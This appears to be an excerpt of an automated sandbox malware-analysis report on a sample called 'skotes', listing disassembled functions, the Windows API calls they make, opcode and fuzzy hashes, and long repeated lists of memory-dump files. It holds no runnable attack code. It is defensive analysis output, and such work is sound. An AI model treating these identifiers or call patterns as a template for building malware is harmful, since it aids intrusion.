Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: d13c7bdbf6c54344b7925096ccdb93c65ff293655870007785531924eaf8f771
Instruction ID: 4d0a8783f5937e5ef012cb39a040a76134cdabe3145eec5362213244337773a8
Opcode Fuzzy Hash: d13c7bdbf6c54344b7925096ccdb93c65ff293655870007785531924eaf8f771
Instruction Fuzzy Hash: 82E1F870E002449BDB25BB28CD5B79D7BE1EB41724F9482D9E4296B3D2EF754E8087C2

Function 00BB1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BB1775: CreateFileW.KERNEL32(00000000,00000000,?,00BB1B65,?,?,00000000,?,00BB1B65,00000000,0000000C), ref: 00BB1792

__dosmaperr.LIBCMT ref: 00BB1BD7
GetFileType.KERNEL32(00000000), ref: 00BB1BE3
__dosmaperr.LIBCMT ref: 00BB1BF6
__dosmaperr.LIBCMT ref: 00BB1D9C

Strings

H, xrefs: 00BB1D21

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 0659d1c000c4bc993f9b57ae72303386769d22976871c5b18ae7092b8c9368fa
Instruction ID: 6bca209218f3e576a2289f4223a067ef346f961c71ac4ab418e3e9d0d650a78a
Opcode Fuzzy Hash: 0659d1c000c4bc993f9b57ae72303386769d22976871c5b18ae7092b8c9368fa
Instruction Fuzzy Hash: EBA1E432A081489FCF199F6CCCA1BFE7BE1EB17320F144599E811AF291EA759912CB51

Function 00B77590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,3F7B10E6,?,00000000,00BB9138,000000FF), ref: 00B775CC
CreateThread.KERNEL32(00000000,00000000,00B77430,00BD8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00B776BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B776C9

Part of subcall function 00B8D0C7: RtlWakeAllConditionVariable.NTDLL ref: 00B8D17B

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 28457102b5ed62b26226b1cb191520c9ed67b0b730a60867de8d0dbb5e147d77
Instruction ID: 4e60d85c3e2b70dffa6d980bd1f49d62fe17f472ed2a4264ab02ab695b5401ad
Opcode Fuzzy Hash: 28457102b5ed62b26226b1cb191520c9ed67b0b730a60867de8d0dbb5e147d77
Instruction Fuzzy Hash: BD511470241248ABEB18DF28DC95F9C7BE1EB05315F50869AF819973E1EF75D880CB91

Function 00BA6FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00BA6EE6), ref: 00BA6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00BA7030
__dosmaperr.LIBCMT ref: 00BA70C5

Part of subcall function 00BA732A: __dosmaperr.LIBCMT ref: 00BA735F

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: c10432bc02d37fb545676ec25c96ba3fc9f0df12ccb2bb217856875ecb039e6d
Instruction ID: 41247e5ec45860871b73e5ae0a24c474a1e1ef1db98dd099696a44e62c8d2401
Opcode Fuzzy Hash: c10432bc02d37fb545676ec25c96ba3fc9f0df12ccb2bb217856875ecb039e6d
Instruction Fuzzy Hash: F5415B7194C204ABDB24EFB5DC459AFBBF9EF8A300B10446EF856E3210EB349940CB61

Function 00B79BA5 Relevance: 4.6, APIs: 3, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B79BA8
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 9c69a77aec06d49705979513683b458de7ccb4760ff64c4152a68d144a1a0cce
Instruction ID: 87906426155908c4a81abe91ad100150f4fd22a083734db70239568893f4b6cb
Opcode Fuzzy Hash: 9c69a77aec06d49705979513683b458de7ccb4760ff64c4152a68d144a1a0cce
Instruction Fuzzy Hash: 0F314C71B041049BEB089B78DC89B5DBBE2DBC6310F24C299E1289B3E5D7759980C752

Function 00B79CDA Relevance: 4.6, APIs: 3, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B79CDD
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
